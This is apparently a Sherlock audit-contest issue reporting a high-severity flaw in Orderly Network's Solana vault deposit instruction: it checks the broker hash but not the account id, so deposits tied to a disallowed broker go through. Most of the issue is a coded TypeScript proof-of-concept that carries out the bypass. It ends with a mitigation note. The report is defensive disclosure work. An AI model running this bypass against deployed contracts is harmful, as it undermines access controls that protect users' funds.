sherlock-audit / 2024-09-orderly-network-solana-contract-judging

0 stars 0 forks source link

Petite Pecan Starfish - malicious user can bypass allowed broker hash #140

Open sherlock-admin2 opened 4 days ago

sherlock-admin2 commented 4 days ago

Petite Pecan Starfish

High

malicious user can bypass allowed broker hash

Summary

malicious user can bypass allowed broker hash

Root Cause

deposit function get broker hash and account id as parameter from user and just broker hash will be validated and malicious user can bypass allowed brokers

Code Snippet

https://github.com/sherlock-audit/2024-09-orderly-network-solana-contract/blob/main/solana-vault/packages/solana/contracts/programs/solana-vault/src/instructions/vault_instr/deposit.rs#L82

PoC

Textual PoC: 1-A broker has been allowed by admin with set_broker instruction 2-account id has been generated with B broker which is disallowed broker 3-A broker hash and account id which made from disallowed broker will be passed to deposit function by malicious user in result deposit function will be executed successfully please run commands based on readme and then replace 05deposit_vault.ts with provided PoC and as u can see account id has been generated based on a disallowed broker Coded PoC:

PoC ```typescript import * as anchor from "@coral-xyz/anchor"; import { Keypair, PublicKey, SystemProgram, Transaction, ComputeBudgetProgram, sendAndConfirmTransaction } from "@solana/web3.js"; import { hexlify } from '@ethersproject/bytes' import { OftTools } from "@layerzerolabs/lz-solana-sdk-v2"; import { Options } from "@layerzerolabs/lz-v2-utilities"; import * as utils from "./utils"; import * as constants from "./constants"; import { PacketPath } from '@layerzerolabs/lz-v2-utilities' import { EndpointProgram, EventPDADeriver, SimpleMessageLibProgram, UlnProgram } from '@layerzerolabs/lz-solana-sdk-v2' import OAppIdl from "../target/idl/solana_vault.json"; import { SolanaVault } from "../target/types/solana_vault"; import { utf8 } from "@coral-xyz/anchor/dist/cjs/utils/bytes"; const OAPP_PROGRAM_ID = new PublicKey(OAppIdl.metadata.address); const OAppProgram = anchor.workspace.SolanaVault as anchor.Program; const [provider, wallet, rpc] = utils.setAnchor(); async function deposit() { console.log("Setting up Vault..."); const lookupTableAddresses = utils.printPda(OAPP_PROGRAM_ID, wallet, rpc); const senderAddress = wallet.publicKey; // const receiverAddress = new PublicKey("4bbnSXvV48dPEecRwbaQwWw4ajXKiMuUvN29zNY1LqY3"); const receiverAddress = senderAddress; const usdc = constants.DEV_USDC_ACCOUNT; const userUSDCAccount = await utils.createUSDCAccount(provider, wallet, usdc, wallet.publicKey); console.log("💶 User USDCAccount", userUSDCAccount.toBase58()); console.log("p1_usdc:", usdc) console.log("p1_constants.MOCK_USDC_ACCOUNT:", constants.MOCK_USDC_ACCOUNT) // if (usdc === constants.MOCK_USDC_ACCOUNT && provider.connection.rpcEndpoint === constants.LOCAL_RPC) { const amountToMint = 10000; await utils.mintUSDC(provider, wallet, usdc, userUSDCAccount, amountToMint); // } let fakeUserBalance = await provider.connection.getBalance(userUSDCAccount) console.log("usdc_user_balance:", fakeUserBalance.toString()) const vaultAuthorityPda = utils.getVaultAuthorityPda(OAPP_PROGRAM_ID); console.log("🔑 Vault Deposit Authority PDA:", vaultAuthorityPda.toBase58()); const vaultUSDCAccount = await utils.getUSDCAccount(usdc, vaultAuthorityPda); console.log("💶 Vault USDCAccount", vaultUSDCAccount.toBase58()); const brokerId = "woofi_pro"; const tokenSymbol = "USDC"; const brokerHash = utils.getBrokerHash(brokerId); console.log("Broker Hash:", brokerHash); const codedBrokerHash = Array.from(Buffer.from(brokerHash.slice(2), 'hex')); const tokenHash = utils.getTokenHash(tokenSymbol); console.log("Token Hash:", tokenHash); const codedTokenHash = Array.from(Buffer.from(tokenHash.slice(2), 'hex')); const solAccountId = utils.getSolAccountId(receiverAddress, "dis_allowed_broker"); console.log("Sol Account Id:", solAccountId); const codedAccountId = Array.from(Buffer.from(solAccountId.slice(2), 'hex')); console.log("fake_address:", usdc) const vaultDepositParams = { accountId: codedAccountId, brokerHash: codedBrokerHash, tokenHash: codedTokenHash, userAddress: Array.from(receiverAddress.toBuffer()), tokenAmount: new anchor.BN(5000_000_000_000), }; const sendParam = { nativeFee: new anchor.BN(1_000_000_000_000_000), lzTokenFee: new anchor.BN(0), } const allowedBrokerPda = utils.getBrokerPda(OAPP_PROGRAM_ID, brokerHash); const allowedTokenPda = utils.getTokenPda(OAPP_PROGRAM_ID, tokenHash); const ixDepositEntry = await OAppProgram.methods.deposit(vaultDepositParams, sendParam).accounts({ userTokenAccount: userUSDCAccount, vaultAuthority: vaultAuthorityPda, vaultTokenAccount: vaultUSDCAccount, depositToken: usdc, user: wallet.publicKey, peer: lookupTableAddresses[2], enforcedOptions: lookupTableAddresses[5], oappConfig: lookupTableAddresses[0], allowedBroker: allowedBrokerPda, allowedToken: allowedTokenPda }).remainingAccounts([ // ENDPOINT solana/programs/programs/uln/src/instructions/endpoint/send.rs { isSigner: false, isWritable: false, pubkey: constants.ENDPOINT_PROGRAM_ID, }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[0], }, { isSigner: false, isWritable: false, pubkey: constants.SEND_LIB_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[7], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[9], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[8], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[14], }, { isSigner: false, isWritable: true, pubkey: lookupTableAddresses[15], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[3], }, // ULN solana/programs/programs/uln/src/instructions/endpoint/send.rs { isSigner: false, isWritable: false, pubkey: constants.ENDPOINT_PROGRAM_ID, }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[13], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[10], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[11], }, { isSigner: true, isWritable: false, pubkey: wallet.publicKey, }, { isSigner: false, isWritable: false, pubkey: constants.TREASURY_PROGRAM_ID, }, { isSigner: false, isWritable: false, pubkey: SystemProgram.programId, }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[12], }, { isSigner: false, isWritable: false, pubkey: constants.SEND_LIB_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: constants.EXECUTOR_PROGRAM_ID }, { isSigner: false, isWritable: true, pubkey: lookupTableAddresses[16] }, { isSigner: false, isWritable: false, pubkey: constants.PRICE_FEED_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[17] }, { isSigner: false, isWritable: false, pubkey: constants.DVN_PROGRAM_ID }, { isSigner: false, isWritable: true, pubkey: lookupTableAddresses[18] }, { isSigner: false, isWritable: false, pubkey: constants.PRICE_FEED_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[17] } ]).instruction(); const ixAddComputeBudget = ComputeBudgetProgram.setComputeUnitLimit({ units: 400_000 }); console.log("Deposit Entry:"); await utils.createAndSendV0TxWithTable( [ixDepositEntry, ixAddComputeBudget], provider, wallet, lookupTableAddresses, OAPP_PROGRAM_ID ); } deposit(); ```

Impact

malicious user can bypass disallowed brokers

Mitigation

consider to validate account id in both side